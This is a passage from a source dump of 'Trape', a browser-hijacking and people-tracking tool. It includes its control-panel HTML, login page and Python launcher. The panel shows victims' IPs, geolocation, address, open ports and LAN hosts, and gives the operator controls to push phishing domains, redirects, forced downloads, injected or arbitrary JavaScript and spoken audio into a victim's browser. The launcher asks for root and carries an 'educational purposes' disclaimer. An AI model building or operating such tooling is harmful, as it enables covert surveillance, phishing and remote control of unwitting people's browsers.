class=\"TrapeControl-Preview--box---MapboxDataIPs----iconBox\">\n                <span class=\"icon-server\"></span>\n              </span>\n              <span class=\"TrapeControl-Preview--box---MapboxDataIPs----text\">Public IP: <a class=\"TrapeControl-Preview--box---MapboxDataIPs----link\" href=\"#\" id=\"lnkTrapeControlPreview_PublicIP\"></a></span>\n              <div class=\"TrapeControl-Preview--box---MapboxDataIPs----line\"></div>\n              <span class=\"TrapeControl-Preview--box---MapboxDataIPs----text\">Local IP: <span class=\"TrapeControl-Preview--box---MapboxDataIPs----textLocal\" id=\"lnkTrapeControlPreview_LocalIP\"></span>\n            </span>\n          </div>\n          <div class=\"TrapeControl-Preview--box---Distance\">\n            <span class=\"TrapeControl-Preview--box---Distance----iconBox\">\n              <span class=\"icon-road\"></span>\n            </span>\n            <span class=\"TrapeControl-Preview--box---Distance----text\">Distance now: <span id=\"txtTrapeControl_Distance\" class=\"TrapeControl-Preview--box---Distance----NowTarget\">loading...</span></span>\n          </span>\n          <div class=\"TrapeControl-Preview--box---Distance----line\"></div>\n          <span class=\"TrapeControl-Preview--box---Distance----text\">Total distance: <span class=\"TrapeControl-Preview--box---Distance----subText\">loading...</span></span>\n        </span>\n        <div class=\"TrapeControl-Preview--box---Distance----line\"></div>\n        <span class=\"TrapeControl-Preview--box---Distance----text\">Estimated time: <span class=\"TrapeControl-Preview--box---Distance----subTextTime\">loading...</span></span>\n      </div>\n      <div class=\"TrapeControl-Preview--box---SummaryLocation\">\n        <span class=\"TrapeControl-Preview--box---SummaryLocation----iconBox\">\n          <span class=\"icon-map\"></span>\n        </span>\n        <span class=\"TrapeControl-Preview--box---SummaryLocation----text\">Postal code: <span class=\"TrapeControl-Preview--box---SummaryLocation----subText\" id=\"mapPostalCode\">loading...</span></span>\n        <div class=\"TrapeControl-Preview--box---SummaryLocation----line\"></div>\n        <span class=\"TrapeControl-Preview--box---MapboxDataIPs----text\">Address: <span class=\"TrapeControl-Preview--box---SummaryLocation----subText\" id=\"lblTrapeContol_Address\">loading...</span>\n      </span>\n    </div>\n    <div id=\"cntTrapeControlPreview_Map\" class=\"TrapeControl-Preview--box---Mapbox----define\"></div>\n    <!-- notification action/status -->\n    <!-- HIDE: TrapeControl-Preview--NotificationHide -->\n    <div class=\"TrapeControl-Preview--NotificationAlert\">\n      <div class=\"TrapeControl-Preview--NotificationAlert---define TrapeControl-Preview--NotificationAlert---offline\">\n        <div class=\"TrapeControl-Preview--NotificationAlert---define----Icon\">\n          <i class=\"icon-close\"></i>\n        </div>\n        <div class=\"TrapeControl-Preview--NotificationAlert---define----Content\">\n          <p>Actions cannot be executed because the user is <strong>offline</strong></p>\n        </div>\n      </div>\n      <div class=\"TrapeControl-Preview--NotificationAlert---define TrapeControl-Preview--NotificationAlert---online\">\n        <div class=\"TrapeControl-Preview--NotificationAlert---define----Icon\">\n          <i class=\"icon-check\"></i>\n        </div>\n        <div class=\"TrapeControl-Preview--NotificationAlert---define----Content\">\n          <p>The user has been <strong>connected</strong> again. Execute actions!</p>\n        </div>\n      </div>\n      <div class=\"TrapeControl-Preview--NotificationAlert---define TrapeControl-Preview--NotificationAlert---success\">\n        <div class=\"TrapeControl-Preview--NotificationAlert---define----Icon\">\n          <i class=\"icon-bolt\"></i>\n        </div>\n        <div class=\"TrapeControl-Preview--NotificationAlert---define----Content\">\n          <p>Has processed a successful <strong>process hook</strong></p>\n        </div>\n      </div>\n    </div>\n    <!-- notification end -->\n  </div>\n</div>\n<!-- HOOKS -->\n<!-- You've processed a successful </strong>alert</strong> dispatch -->\n<!-- You've processed successful <strong>code</strong> sending -->\n<!-- The <strong>URL JavaScript</strong> is saved successfully -->\n<!-- Successfully processed <strong>redirect</strong> -->\n<!-- The <strong>phishing attack</strong> has been sent -->\n<!-- <strong>Download file</strong> has been successfully sent -->\n<!-- The <strong>audio message</strong> has been delivered -->\n<!-- <strong>Click attack</strong> has been processed -->\n<div class=\"TrapeControl-Preview--box\">\n  <div class=\"TrapeControl-Preview--box---Details\">\n    <div class=\"TrapeControl-Preview--box---DetailsLine\">\n      <span class=\"TrapeControl-Preview--box---DetailsLine----define\"></span>\n      <div class=\"TrapeControl-Preview--box---DetailsElement----Iconbox\">\n        <span class=\"TrapeControl-Preview--box---DetailsElement----Iconbox-----define\">\n          <span class=\"icon-bars\"></span>\n        </span>\n        <span class=\"TrapeControl-Preview--box---DetailsElement----text\">Options</span>\n      </div>\n      <!-- tabs -->\n      <div class=\"TrapeControl-Preview--Tabs\">\n        <button data-action=\"information\" class=\"TrapeControl-Preview--Tabs---button is-active\" >Information</button>\n        <button data-action=\"network\" class=\"TrapeControl-Preview--Tabs---button\">Network status</button>\n        <button data-action=\"processHooks\" class=\"TrapeControl-Preview--Tabs---button\">Process hook</button>\n      </div>\n    </div>\n  </div>\n  <div class=\"TrapeControl-BoxTab\" data-action=\"information\">\n    <div class=\"TrapeControl-Preview--dataShow\">\n      <ul>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>CPU:</strong> <span id=\"lblTrapeControl_Preview_CPU\">_</span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Operating System:</strong> <span id=\"lblTrapeControl_Preview_SO\"></span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\" title=\"\"><strong>User agent:</strong> <span id=\"lblTrapeControl_Preview_UA\">_</span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Browser:</strong> <span id=\"lblTrapeControl_Preview_Browser\"></span> <span id=\"lblTrapeControl_Preview_BrowserVersion\"></span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Open Ports:</strong> <span id=\"lblTrapeControl_Preview_OpenPorts\">_</span></div>\n        <!-- <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Connection:</strong> <span id=\"lblTrapeControl_Preview_Connection\"></span></div> -->\n      </ul>\n    </div>\n    <div class=\"TrapeControl-Preview--dataShow\">\n      <ul>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>ISP Name:</strong> <span id=\"lblTrapeControl_Preview_ISP\">_</span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Country:</strong> <span id=\"lblTrapeControl_Preview_Country\"></span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>City:</strong> <span id=\"lblTrapeControl_Preview_City\"></span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Latitude:</strong> <span id=\"lblTrapeControl_Preview_Latitude\"></span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong>Longitude:</strong> <span id=\"lblTrapeControl_Preview_Longitude\"></span></div>\n        <div class=\"TrapeControl-Preview--dataShow---define\"><strong></strong> <span></span></div>\n      </ul>\n    </div>\n  </div>\n</div>\n<div class=\"TrapeControl-BoxTab\" data-action=\"processHooks\">\n  <!-- hooks options -->\n  <div class=\"TrapeControl-BoxTab--options\">\n    <h2 class=\"TrapeControl-BoxTab--options---Text\">Controls in the browser of the user</h2>\n    <div class=\"TrapeControl-BoxTab--options---Tabs\">\n      <button data-action=\"Hseveral\" class=\"TrapeControl-BoxTab--options---Tabs----button is-active\">Several</button>\n      <button data-action=\"Hinjecjs\" class=\"TrapeControl-BoxTab--options---Tabs----button\">Inject JS</button>\n      <button data-action=\"Hspeech\" class=\"TrapeControl-BoxTab--options---Tabs----button\">Speech</button>\n    </div>\n  </div>\n  <!-- end hooks options -->\n  <div class=\"TrapeControl-Preview--SubTabsShow\" data-action=\"Hseveral\">\n    <div class=\"TrapeControl-Preview--dataShow\">\n      <form class=\"TrapeControl-BoxTab--Form\" action=\"?\" method=\"post\">\n        <input type=\"url\" id=\"txtTrapeControl-BoxTab-Phishing\" autocomplete=\"on\" class=\"TrapeControl-BoxTab--Form---input\" placeholder=\"Insert domain for phishing\" name=\"phishing\" required=\"true\">\n        <button id=\"btnTrapeControl-BoxTab-Phishing\" class=\"TrapeControl-BoxTab--Form---button\" type=\"button\">reflect <span class=\"icon-angle-right\"></span></button>\n      </form>\n      <form class=\"TrapeControl-BoxTab--Form\" action=\"?\" method=\"post\">\n        <input type=\"url\" id=\"txtTrapeControl-BoxTab-Redirect\" autocomplete=\"on\" class=\"TrapeControl-BoxTab--Form---input\" placeholder=\"Insert link to redirect\" name=\"redirect\" required=\"true\">\n        <button id=\"btnTrapeControl-BoxTab-Redirect\" class=\"TrapeControl-BoxTab--Form---button\" type=\"button\">redirect <span class=\"icon-angle-right\"></span></button>\n      </form>\n    </div>\n    <div class=\"TrapeControl-Preview--dataShow\">\n      <form class=\"TrapeControl-BoxTab--FormRight\" action=\"?\" method=\"post\">\n        <input id=\"txtTrapeControl-BoxTab-Alert\" type=\"text\" autocomplete=\"on\" class=\"TrapeControl-BoxTab--Form---input\" placeholder=\"Create alert for user\" name=\"alert\" required=\"true\">\n        <button id=\"btnTrapeControl-BoxTab-Alert\" class=\"TrapeControl-BoxTab--Form---button\" type=\"button\">execute <span class=\"icon-angle-right\"></span></button>\n      </form>\n      <form class=\"TrapeControl-BoxTab--FormRight\" action=\"?\" method=\"post\">\n        <input id=\"txtTrapeControl-BoxTab-Execute\" type=\"text\" autocomplete=\"on\" class=\"TrapeControl-BoxTab--Form---input\" placeholder=\"Enter a file to download\" name=\"download\" required=\"true\">\n        <button id=\"btnTrapeControl-BoxTab-Execute\" class=\"TrapeControl-BoxTab--Form---button\" type=\"button\">Send <span class=\"icon-angle-right\"></span></button>\n      </form>\n    </div>\n  </div>\n  <div class=\"TrapeControl-Preview--SubTabsShow\" data-action=\"Hinjecjs\">\n    <div class=\"TrapeControl-Preview--dataShow\">\n      <form class=\"TrapeControl-BoxTab--FormLeftDown\" action=\"?\" method=\"post\">\n        <input type=\"url\" autocomplete=\"off\" class=\"TrapeControl-BoxTab--Form---input\" placeholder=\"Insert JavaScript code URL\" name=\"urlJS\" id=\"txtTrapeControl_InjectCode\" required=\"true\">\n        <button class=\"TrapeControl-BoxTab--Form---button\" type=\"button\" id=\"txtTrapeControl_InjectCode\">save</button>\n      </form>\n    </div>\n    <div class=\"TrapeControl-Preview--dataShow\">\n      <div class=\"TrapeControl-BoxTab--FormRight\" action=\"?\" method=\"post\">\n        <textarea type=\"text\" autocomplete=\"on\" class=\"TrapeControl-BoxTab--Form---textarea\" placeholder=\"Write JavaScript code\" name=\"codeJS\" required=\"true\" id=\"txtTrapeControl_RunCode\"></textarea>\n        <button class=\"TrapeControl-BoxTab--Form---button\" type=\"button\" id=\"btnTrapeControl_RunCode\">run code <span class=\"icon-angle-right\"></span></button>\n      </div>\n    </div>\n  </div>\n  <div class=\"TrapeControl-Preview--SubTabsShow\" data-action=\"Hspeech\">\n    <form class=\"TrapeControl-BoxTab--FormSpeech\" action=\"?\" method=\"post\">\n      <textarea name=\"speech\" id=\"txtTrapeControl_BoxTab_Speech\" class=\"TrapeControl-BoxTab--Form---textareaSpeech\" placeholder=\"Write the words you want to play by voice...\"></textarea>\n      <div class=\"TrapeControl-BoxTab--Form---buttonsVoice\">\n        <button class=\"TrapeControl-BoxTab--Form---buttonsVoice----btn\" type=\"button\" data-vt=\"0\"><span class=\"icon-sound\"></span> English Female <span class=\"icon-angle-right\"></span></button>\n        <button class=\"TrapeControl-BoxTab--Form---buttonsVoice----btn\" type=\"button\" data-vt=\"1\"><span class=\"icon-sound\"></span> Spanish Female <span class=\"icon-angle-right\"></span></button>\n        <button class=\"TrapeControl-BoxTab--Form---buttonsVoice----btn\" type=\"button\" data-vt=\"2\"><span class=\"icon-sound\"></span> English Male <span class=\"icon-angle-right\"></span></button>\n        <button class=\"TrapeControl-BoxTab--Form---buttonsVoice----btn\" type=\"button\" data-vt=\"3\"><span class=\"icon-sound\"></span> Spanish Male <span class=\"icon-angle-right\"></span></button>\n      </div>\n    </form>\n  </div>\n</div>\n<div class=\"TrapeControl-BoxTab\" data-action=\"network\">\n  <div class=\"TrapeControl-BoxTab--options\">\n    <h2 class=\"TrapeControl-BoxTab--options---Text\">Information on network connections</h2>\n    <div class=\"TrapeControl-BoxTab--options---subTabs\">\n      <button data-action=\"dataSpeed\" class=\"TrapeControl-BoxTab--options---subTabs----button is-active\">Speed</button>\n      <button data-action=\"dataHosts\" class=\"TrapeControl-BoxTab--options---subTabs----button\">Hosts</button>\n    </div>\n  </div>\n  <div class=\"TrapeControl-Preview--SubTabsNH\" data-action=\"dataSpeed\">\n    <div class=\"TrapeControl-Preview--dataNetwork\">\n      <div class=\"TrapeControl-Preview--dataNetwork---Item\">\n        <h2 class=\"TrapeControl-Preview--dataNetwork---Item----text\"><span class=\"TrapeControl-Preview--dataNetwork---Item----iconPing\"></span> Ping</h2>\n        <span id=\"lblTrapeControl_dataNetwork_Ping\" class=\"TrapeControl-Preview--dataNetwork---Item----result\">0</span>\n      </div>\n      <div class=\"TrapeControl-Preview--dataNetwork---lineSeparation\"></div>\n      <div class=\"TrapeControl-Preview--dataNetwork---Item\">\n        <h2 class=\"TrapeControl-Preview--dataNetwork---Item----text\"><span class=\"TrapeControl-Preview--dataNetwork---Item----iconDownloadSpeed\"></span> Download speed</h2>\n        <span id=\"lblTrapeControl_dataNetwork_Download\" class=\"TrapeControl-Preview--dataNetwork---Item----result\">0</span>\n      </div>\n      <div class=\"TrapeControl-Preview--dataNetwork---lineSeparation\"></div>\n      <div class=\"TrapeControl-Preview--dataNetwork---Item\">\n        <h2 class=\"TrapeControl-Preview--dataNetwork---Item----text\"><span class=\"TrapeControl-Preview--dataNetwork---Item----iconUploadSpeed\"></span> Upload speed</h2>\n        <span id=\"lblTrapeControl_dataNetwork_Upload\" class=\"TrapeControl-Preview--dataNetwork---Item----result\">0</span>\n      </div>\n      \n      <div class=\"TrapeControl-Preview--dataNetwork---lineSeparation\"></div>\n      <div class=\"TrapeControl-Preview--dataNetwork---Item\">\n        <h2 class=\"TrapeControl-Preview--dataNetwork---Item----text\"><span class=\"TrapeControl-Preview--dataNetwork---Item----iconTypeNetwork\"></span> Type connection</h2>\n        <span id=\"lblTrapeControl_dataNetwork_Type\" class=\"TrapeControl-Preview--dataNetwork---Item----result\">loading...</span>\n      </div>\n    </div>\n  </div>\n  <div class=\"TrapeControl-Preview--SubTabsNH\" data-action=\"dataHosts\">\n    <div class=\"TrapeControl-Preview--dataHostsPositionGeneral\">\n      <div class=\"TrapeControl-Preview--dataHostsElement---Item\">\n        <h2 class=\"TrapeControl-Preview--dataHostsElement---Item----text\"><span class=\"TrapeControl-Preview--dataHostsElement---Item----icon\"></span> Total hosts</h2>\n        <span class=\"TrapeControl-Preview--dataHostsElement---Item----result\">8 found</span>\n      </div>\n      <div class=\"TrapeControl-Preview--dataHostsElement---lineSeparation\"></div>\n      <div class=\"TrapeControl-Preview--dataHosts\">\n        <div class=\"TrapeControl-Preview--dataHosts---host\">\n          <span class=\"TrapeControl-Preview--dataHosts---host----iconBox\">\n            1\n          </span>\n          <span class=\"TrapeControl-Preview--dataHosts---host----text\">host: <span class=\"TrapeControl-Preview--dataHosts---host----subText\">192.168.0.1</span></span>\n          <div class=\"TrapeControl-Preview--dataHosts---host----line\"></div>\n          <span class=\"TrapeControl-Preview--dataHosts---host----text\">time: <span class=\"TrapeControl-Preview--dataHosts---host----subText\">1.19 ms</span>\n        </span>\n        <div class=\"TrapeControl-Preview--dataHosts---host----line\"></div>\n        <span class=\"TrapeControl-Preview--dataHosts---host----text\">date: <span class=\"TrapeControl-Preview--dataHosts---host----subText\">2018-02-15 - 16:28:56</span>\n      </span>\n    </div>\n  </div>\n</div>\n</div>\n<div class=\"TrapeControl-Preview--dataShow\">\n<ul>\n</ul>\n</div>\n<div class=\"TrapeControl-Preview--dataShow\">\n<ul>\n</ul>\n</div>\n</div>\n</div> <!-- end(box) -->\n</div> <!-- end/modal -->\n<!-- end details -->\n<div class=\"TrapeControl-Wrapper--Stats\">\n<div class=\"TrapeControl-Wrapper--Stats---Item\">\n<h2 class=\"TrapeControl-Wrapper--Stats---Item----text\">Online</h2>\n<span class=\"TrapeControl-Wrapper--Stats---Item----number\" id=\"onlineUsers\">0</span>\n</div>\n<div class=\"TrapeControl-Wrapper--Stats---lineSeparation\"></div>\n<div class=\"TrapeControl-Wrapper--Stats---Item\">\n<h2 class=\"TrapeControl-Wrapper--Stats---Item----text\">Users</h2>\n<span class=\"TrapeControl-Wrapper--Stats---Item----number\" id=\"usersTotal\">0</span>\n</div>\n\n<div class=\"TrapeControl-Wrapper--Stats---lineSeparation\"></div>\n<div class=\"TrapeControl-Wrapper--Stats---Item\">\n<h2 class=\"TrapeControl-Wrapper--Stats---Item----text\">clicks</h2>\n<span class=\"TrapeControl-Wrapper--Stats---Item----number\" id=\"clicksTotal\">0</span>\n</div>\n<div class=\"TrapeControl-Wrapper--Stats---lineSeparation\"></div>\n<div class=\"TrapeControl-Wrapper--Stats---Item\">\n<h2 class=\"TrapeControl-Wrapper--Stats---Item----text\">sessions</h2>\n<span class=\"TrapeControl-Wrapper--Stats---Item----number\" id=\"sessionsTotal\">0</span>\n</div>\n<div class=\"TrapeControl-Wrapper--Stats---lineSeparation\"></div>\n<div class=\"TrapeControl-Wrapper--Stats---Item\">\n<h2 class=\"TrapeControl-Wrapper--Stats---Item----text\">requests</h2>\n<span class=\"TrapeControl-Wrapper--Stats---Item----number\" id=\"requestsTotal\">0</span>\n</div>\n<div class=\"TrapeControl-Wrapper--Stats---lineSeparation\"></div>\n<div class=\"TrapeControl-Wrapper--Stats---Item\">\n<h2 class=\"TrapeControl-Wrapper--Stats---Item----text\">Locations</h2>\n<span class=\"TrapeControl-Wrapper--Stats---Item----number\" id=\"locationsTotal\">0</span>\n</div>\n</div>\n<!-- list requests & history -->\n<div class=\"TrapeControl-History\">\n<div class=\"TrapeControl-History--Tabs\">\n<button data-action=\"logs\" class=\"TrapeControl-History--Tabs---button is-active\"><span class=\"TrapeControl-History--Tabs---button----iconLogs\"></span>Logs users</button>\n<button data-action=\"requests\" class=\"TrapeControl-History--Tabs---button\"><span class=\"TrapeControl-History--Tabs---button----iconRequests\"></span>Request History</button>\n<button data-action=\"socialimpact\" class=\"TrapeControl-History--Tabs---button\"><span class=\"TrapeControl-History--Tabs---button----iconSocialImpact\"></span>Social impact</button>\n</div>\n<div class=\"TrapeControl-History--line\"></div>\n<div id=\"listLogs\" class=\"TrapeControl-History--Logs\" data-action=\"logs\">\n</div>\n<!-- </.Logs -->\n<!-- requests -->\n<div id=\"listRequests\" class=\"TrapeControl-History--Logs\" data-action=\"requests\">\n\n</div>\n<!-- end(requests)-->\n<!-- socialimpact -->\n<div class=\"TrapeControl-History--Logs\" id=\"cntTrapeContro_SocialImpact\" data-action=\"socialimpact\" style=\"overflow-x: hidden;\">\n</div>\n<!-- end(socialimpact)-->\n<div class=\"TrapeControl-Copyright\">\nPowered by <a class=\"TrapeControl-Copyright--link\" href=\"https://twitter.com/jofpin\" title=\"Author\">Jose Pino</a>\n</div>\n</div><!-- </.Re -->\n<!-- fin list -->\n</div>\n</div>\n<!-- log -->\n<script src=\"static/js/[LIBS_SRC]\"></script>\n<script src=\"static/js/[TRAPE_SRC]\"></script>\n<script async defer\nsrc=\"https://maps.googleapis.com/maps/api/js?key=[OWN_API_KEY_HERE]&callback=initMap\">\n</script>\n<script type=\"text/javascript\">\nvar copyUrl = function(id) {\n  var $temp = $(\"<input>\");\n  $(\"body\").append($temp);\n  $temp.val($(id).text()).select();\n  document.execCommand(\"copy\");\n  $temp.remove();\n}\nwindow.gMapsApiKey=\"[OWN_API_KEY_HERE]\";\n</script>\n</body>\n</html>"
  },
  {
    "path": "templates/login.html",
    "content": "<!doctype html>\n<html lang=\"en\">\n<head>\n    <meta charset=\"utf-8\">\n    <title>Trape: Login</title>\n    <meta http-equiv=\"X-UA-Compatible\" content=\"IE=edge\"/>\n\n    <meta name=\"viewport\" content=\"initial-scale=1.0,user-scalable=no,maximum-scale=1,width=device-width\">\n    <meta name=\"apple-mobile-web-app-title\" content=\"Trape\">\n    <meta name=\"apple-mobile-web-app-capable\" content=\"yes\">\n    <meta name=\"apple-mobile-web-app-status-bar-style\" content=\"black-translucent\">\n    <meta name=\"robots\" content=\"noindex, nofollow\"/>\n    <meta name=\"theme-color\" content=\"#000\" />\n    <meta name=\"google\" value=\"notranslate\"/>\n    <meta name=\"author\" content=\"Jose Pino, @jofpin\"/>\n    <meta name=\"description\" content=\"OSINT Research and analytics tool\"/>\n\n    <!-- Styles & Favicon -->\n    <link rel=\"shortcut icon\" type=\"image/x-icon\" href=\"styles/[FAVICON_HREF]\">\n    <link rel=\"icon\" type=\"image/x-icon\" href=\"styles/[FAVICON_PNG_HREF]\">\n    <link rel=\"stylesheet\" href=\"styles/[BASE_ICONS_HREF]\">\n    <link rel=\"stylesheet\" href=\"styles/[STYLES_HREF]\">\n    <script src=\"static/js/[LIBS_SRC]\"></script>\n    <!--[if (gte IE 6) & (lte IE 9)]>\n      <script src=\"http://cdnjs.cloudflare.com/ajax/libs/html5shiv/3.7/html5shiv.min.js\"></script>\n      <script src=\"http://cdnjs.cloudflare.com/ajax/libs/respond.js/1.4.2/respond.js\"></script>\n    <![endif]-->\n</head>\n\n<body class=\"TrapeBody-Login\">\n    <!-- home(TrapeLogin) -->\n    <div class=\"TrapeLogin\">\n\n        <header class=\"TrapeLogin-Header\">\n            <div class=\"TrapeLogin-Header--Box\">\n                <img class=\"TrapeLogin-Header--Box---logo\" src=\"static/img/trape-logo.png\" alt=\"trape\">\n                    <div>\n                        <h1 class=\"TrapeLogin-Header--Box---nameTrape\">trape</h1>\n                    </div>\n            </div>\n        </header>\n\n        <section class=\"TrapeLogin-Wrapper\">\n            <p class=\"TrapeLogin-Wrapper--description\">Control panel</p>\n            <p class=\"TrapeLogin-Wrapper--explanation\">People tracker on the Internet</p>\n\n            <!-- home(keyIcorrect) -->\n            <div class=\"TrapeLogin-IncorrectKey\">\n                <div class=\"TrapeLogin-IncorrectKey--Icon\"><span class=\"icon-times\"></span></div>\n                <div class=\"TrapeLogin-IncorrectKey--Text\">Hey the key is incorrect, try again.</div> \n            </div>\n            <!-- end(keyIcorrect) -->\n\n            <!-- home(form) -->\n            <div class=\"TrapeLogin-Wrapper--Form\">\n                <form class=\"TrapeLogin-Wrapper--Form---Body\" method=\"POST\">\n                    <label class=\"TrapeLogin-Wrapper--iconLabel icon-lock2\"></label>\n                    <input type=\"password\" class=\"TrapeLogin-Wrapper--Form---input\" placeholder=\"Enter the Access key\" id=\"dataKey\" name=\"key\" required=\"true\">\n                    <div class=\"TrapeLogin-Wrapper--Form---buttonRightDefine\">\n                        <button type=\"submit\" class=\"TrapeLogin-Wrapper--Form---button\"><span class=\"TrapeLogin-Wrapper--Form---button----text\">Sign In</span> <small class=\"icon-chevron-right\"></small></button>\n                    </div>\n                </form>\n                <div class=\"TrapeLogin-Wrapper--Form---text\">\n                    <span class=\"TrapeLogin-Wrapper--Form---line\">-</span>  OSINT Research and analytics tool <span class=\"TrapeLogin-Wrapper--Form---line\">-</span>\n                </div>\n            </div>\n            <!-- end(form) -->\n\n\n            <!-- home(copyright) -->\n            <div class=\"TrapeLogin-Footer\">\n                <div class=\"TrapeLogin-Footer--Version\">\n                   <span class=\"TrapeLogin-Footer--Version---name\">stable</span> \n                   <span class=\"TrapeLogin-Footer--Version---number\">v2.0</span> \n                </div>\n                <div class=\"TrapeLogin-Footer--Copyright\">\n                    <i class=\"icon-copyright\"></i> 2018 <a href=\"https://twitter.com/jofpin\" class=\"TrapeLogin-Footer--Copyright---linkBoxug\" title=\"Creator of trape tool\">Jose Pino</a>\n                </div>\n            </div>\n        </section>\n\n\n    </div>\n    <!-- end(TrapeLogin) -->\n    <script src=\"static/js/[LOGIN_SRC]\"></script>\n</body>\n</html>"
  },
  {
    "path": "trape.py",
    "content": "#!/usr/bin/env python3.8\n# -*- coding: utf-8 -*-\n#**\n#\n##########################################\n# Trape | People tracker on the Internet #\n##########################################\n#\n# Learn to track the world, to avoid being traced\n#\n# @version     2.1\n# @link        https://github.com/jofpin/trape\n# @author      Jose Pino (@jofpin)\n# @copyright   2018 by Jose Pino / <jofpin@gmail.com>\n#\n# This file is the boot in Trape.\n# For full copyright information this visit: https://github.com/jofpin/trape\n#\n#**\n#\n###############################################\nimport os                                     #\nfrom core.utils import utils                  #\nfrom core.trape import Trape                  #\nfrom core.db import Database                  #\nfrom time import sleep                        #                  \ntry:                                          #\n    import flask                              #\n    import flask_socketio                     #\n    import os                                 #\nexcept:                                       ############################################\n    utils.Go(\"\\t\\nPlease install requirements.txt libraries, you can do it executing:\")  #\n    utils.Go(\"\\t\\npip3 install -r requirements.txt\")  ####################################\n######################################################\n\n# We generalize the main class of <trape>\ntrackPeople = Trape()\n\n# call class database\ngenerateData = Database()\nif generateData.firstTime:\n    utils.Go(\"\\033[H\\033[J\")        \n    utils.Go(utils.Color['whiteBold'] + \"  @@@@@@@@@@@@@@@@@@@@@@  \")     \n    utils.Go(utils.Color['whiteBold'] + \" @@@@@@@@@@@@@@@@@@@@@@@@ \")                                            \n    utils.Go(utils.Color['whiteBold'] + \" @@@@@   @@@@@@@@@@@@@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@   @@@@@@@@@@@@@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@       @@     @@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@       @@     @@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@    @@@@@@@@@@@@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@    @@@@@     @@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@       @@     @@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@@@@@@@@@@@@@@@@@@@@ \")\n    utils.Go(utils.Color['whiteBold'] + \" @@@@@@@@@@@@@@@@@@@@@@@@  \") \n    utils.Go(utils.Color['whiteBold'] + \"  @@@@@@@@@@@@@@@@@@@@@@  \") \n    utils.Go(\"\\t\" + utils.Color['white'] + \"--\" + \" \" + \"v\" + utils.Color['redBold'] + \"2.0\" + utils.Color['white'] + \" \" + \"--\" + \"\\n\" + utils.Color['white'])\n    utils.Go(utils.Color['whiteBold'] + \"WELCOME \" + utils.Color['greenBold'] + os.uname()[1].upper() + utils.Color['whiteBold'] + \" TO TRAPE\" + utils.Color['white'])\n    utils.Go(\"------\")\n    utils.Go(\"This is a exclusive version for researchers, or professionals \\nwho are dedicated to research, we hope you enjoy.\" + \"\\n\")\n    utils.Go(utils.Color['whiteBold'] + \"DISCLAIMER\" + utils.Color['white'])\n    utils.Go(\"------\")\n    utils.Go(\"This is a monitoring and research tool \" + utils.Color['whiteBold'] + \"OSINT\" + utils.Color['white'] + \", which is distributed \\nfor educational and investigative purposes, the person who has bought \\nor uses this tool is responsible for its proper use or actions committed, \\n\" + utils.Color['whiteBold'] + \"Jose Pino\" + utils.Color['white'] + \" (\" + utils.Color['blue'] + \"@jofpin\" + utils.Color['white'] + \") is not responsible for the use Or the scope that people can have \\nthrough this software.\" + \"\\n\")\n    utils.Go(utils.Color['whiteBold']+ \"CREATOR\" + utils.Color['white'])\n    utils.Go(\"------\")\n    utils.Go(utils.Color[\"white\"] + \"- \" + utils.Color[\"greenBold\"] + \"NAME: \" + utils.Color['white'] + \"Jose Pino\" + \" \" + utils.Color['white'])\n    utils.Go(utils.Color[\"white\"] + \"- \" + utils.Color[\"greenBold\"] + \"DESCRIPTION: \" + utils.Color['white'] + \"Hacker recognized by large technology companies\")\n    utils.Go(utils.Color[\"white\"] + \"- \" + utils.Color[\"greenBold\"] + \"GITHUB: \" + utils.Color['white'] + \"https://github.com/jofpin\")\n    utils.Go(utils.Color[\"white\"] + \"- \" + utils.Color[\"greenBold\"] + \"TWITTER: \" + utils.Color['white'] + \"https://twitter.com/jofpin\" + utils.Color['white'] + \"\\n\")\n    sleep(3)\n    utils.Go(\"Press enter to Continue...\")\n    input()\n\n# check OS\ntrackPeople.loadCheck()\n\n# Request root home to run <trape> with all permissions\ntrackPeople.rootConnection()\n\n# Call the creation of the database when you open this file.\ngenerateData.loadDatabase()\n\nif __name__ == \"__main__\":\n    try:\n        # General expression this is expressed after the root\n        trackPeople.main()\n    except Exception as error:\n        # Result of error\n        utils.Go(utils.Color['whiteBold'] + \"[\" + utils.Color['redBold'] + \"x\" + utils.Color['whiteBold'] + \"]\" + utils.Color['redBold'] + \" \" + \"ERROR: \" + utils.Color['white'] + \"%s\" % error)\n"
  },
  {
    "path": "version.txt",
    "content": "version: 2.0"
  }
]